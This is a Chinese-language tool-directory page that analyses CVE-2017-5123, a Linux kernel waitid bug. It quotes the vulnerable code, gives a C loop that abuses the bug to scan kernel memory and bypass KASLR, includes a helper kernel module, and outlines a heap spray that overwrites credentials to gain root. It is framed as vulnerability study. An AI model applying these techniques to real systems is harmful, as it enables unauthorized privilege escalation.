Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-5123 — 针对CVE-2017-5123的详细技术分析和概念验证利用,这是一个Linux内核的waitid系统调用漏洞,由于缺少access_ok()检查而导致本地权限提升。 | Kitploit
工具/GitHubGitHub/h1bana/cve-2017-5123
权限提升漏洞分析漏洞利用学习与教育二进制利用
GitHubh1bana/cve-2017-5123

CVE-2017-5123

针对CVE-2017-5123的详细技术分析和概念验证利用,这是一个Linux内核的waitid系统调用漏洞,由于缺少access_ok()检查而导致本地权限提升。

查看仓库
13年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-5123

漏洞概述

Linux 内核中的 Waitid 系统调用未验证所使用的目标地址。此缺陷可允许拥有本地权限的用户写入内核内存区域,可能导致设备上的权限提升或沙箱逃逸。

漏洞描述

漏洞分类

  • 权限提升
  • 沙箱逃逸(Chrome)

漏洞代码

kernel/exit.c

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
        infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;

    user_access_begin(); // 本质是调用 stac(),暂时关闭 SMAP
    unsafe_put_user(signo, &infop->si_signo, Efault); // <- 调用此函数前缺少 access_ok() 检查
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();  // 本质是调用 clac(),重新启用 SMAP
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

此处确定的错误是:在调用 unsafe_put_user() 函数之前缺少 access_ok() 检查。在之前的内核版本中,程序使用的是 put_user() 函数,该函数包含对 access_ok() 的检查调用。

root@kitploit:~
put_user(x, void __user *ptr)
    if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
        return -EFAULT
    user_access_begin()
    *ptr = x
    user_access_end()

通过使用 unsafe_put_user() 函数,程序避免了因频繁调用 user_access_begin() / user_access_end() 而导致的短时间内反复开关 SMAP。这里的 access_ok() 函数检查指针 ptr 地址的有效性,确保它属于用户内存区域,从而防止用户写入内核内存区域。因此,如果我们调用 waitid 系统调用并将 infop 参数设为内核地址,就会触发该漏洞。

漏洞利用

缺少 access_ok() 检查允许我们通过 waitid 的 infop 参数传入内核地址,随后系统调用将通过调用 unsafe_put_user() 覆写该地址。此处一个限制是:我们无法控制将哪些内容写入我们提供的内核地址。用于写入的字段有 6 个:signo、空字节、info.cause、info.pid(最大值为 0x8000)、info.uid、info.status(虽然为 int32 类型,但仅取值 >0 且 <256)。其中最有用的字段可能是空字节。我们可以用它来覆盖 cred->euid 和 cred->uid。为此,我们需要知道这两个值的地址。

通过内存扫描绕过 KASLR

根据 kernel.org,所有进程共享的“内核空间虚拟内存”地址从 0xffff800000000000 开始,但 0xffff800000000000 到 0xffff87ffffffffff 是“……保护洞,也保留给虚拟机监控程序”,因此我们将从地址 0xffff880000000000 开始扫描内存。还需要补充的是,我们之所以能够扫描内存,是因为 unsafe_put_user() 在我们访问无效地址时不会崩溃。这有助于防止“非特权用户”通过传入无效地址对系统进行 DoS 攻击。

root@kitploit:~
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
    pid = fork();
    if (pid > 0) 
    {
        if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
        {
            printf("[+] Found %p\n", i);
            break;
        }
    }
    else if (pid == 0)
        exit(0);
}

image

现在我们已经知道了内核堆地址,接下来将确定 cred 结构体的地址。

通过堆喷射寻找 Cred 地址

虽然知道了内核堆地址,但该地址可能不是堆的起始地址。因此我们无法精确计算出 Cred 结构体的地址。这时我们使用一种名为“堆喷射”的技术。

  • 如果我们创建大量进程,内存中就会有大量 cred 结构体。从而更容易猜出 cred 结构体的地址。
  • 这些进程不断调用 geteuid(),若返回 0,则表示该进程正在以 root 权限运行 —— 命中。
  • 父进程继续使用漏洞调用 waitid() 系统调用,猜出 cred 结构体的地址并将 cred->uid 覆盖为空。

调试找子进程 cred 结构体地址非常耗时,因此我使用现有模块通过 printk() 打印 cred->euid 的地址。

root@kitploit:~
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>        // for basic filesystem
#include <linux/proc_fs.h>    // for the proc filesystem
#include <linux/seq_file.h>    // for sequence files

static struct proc_dir_entry* jif_file;

static int
jif_show(struct seq_file *m, void *v)
{
    return 0;
}

static int
jif_open(struct inode *inode, struct file *file)
{
     printk("EUID: %p\n", &current->cred->euid);
     return single_open(file, jif_show, NULL);
}

static const struct file_operations jif_fops = {
    .owner    = THIS_MODULE,
    .open    = jif_open,
    .read    = seq_read,
    .llseek    = seq_lseek,
    .release    = single_release,
};

static int __init
jif_init(void)
{
    jif_file = proc_create("jif", 0, NULL, &jif_fops);

    if (!jif_file) {
        return -ENOMEM;
    }

    return 0;
}

static void __exit
jif_exit(void)
{
    remove_proc_entry("jif", NULL);
}

module_init(jif_init);
module_exit(jif_exit);

MODULE_LICENSE("GPL");

image

我发现一些地址具有相似的模式,即使在重启之后,这些地址的偏移量也保持相似。因此我决定选择一个地址,然后通过循环加上页面大小来猜测 cred 结构体的地址。

image

漏洞利用演示视频 IMAGE ALT TEXT HERE

该利用方法的一些问题

  • 成功率不确定。
  • 对于受此漏洞影响的内核版本,利用代码可能无法在所有版本上运行,因为不同内核版本中 EUID 在喷射时的偏移量不同。为了使 Poc 能在所有版本上运行,在利用代码查找 euid 并将其设为空时,我使用了“堆地址 + 偏移量”的形式,需要将偏移量减小才能用于多个版本。但这意味着攻击时间更长,增加了内核 panic/crash 的可能性,因为可能写入堆中其他重要结构体。

影响范围

  • 受影响版本:linux kernel version 4.13 - 4.13.6
  • 引入漏洞的提交(2017-05-21,v4.13-rc1)

补丁

  • 补丁添加了 access_ok() 检查
  • 修复漏洞的提交

结论

  • 该漏洞可用于权限提升,也可与 Chrome 沙箱逃逸链式利用。在漏洞被发现时,Chrome 的 seccomp 允许使用 waitid 系统调用。

参考文献

  • Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox!
下载工具